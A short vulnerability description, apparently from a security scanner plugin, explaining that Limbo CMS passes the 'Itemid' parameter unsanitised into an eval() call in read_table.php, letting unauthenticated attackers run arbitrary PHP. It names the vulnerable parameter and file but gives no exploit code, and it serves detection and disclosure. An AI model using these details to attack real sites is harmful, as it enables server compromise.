"The remote host is running Limbo CMS, a content-management system
written in PHP. 

The installed version of Limbo fails to sanitize input to the 'Itemid'
parameter before using it as part of a search string in an 'eval()'
statement in the 'classes/adodbt/read_table.php' script.  Regardless
of PHP's 'register_globals' and 'magic_quotes_gpc' settings, an
unauthenticated attacker can leverage this issue to execute arbitrary
PHP code on the remote host subject to the privileges of the web
server user id.");
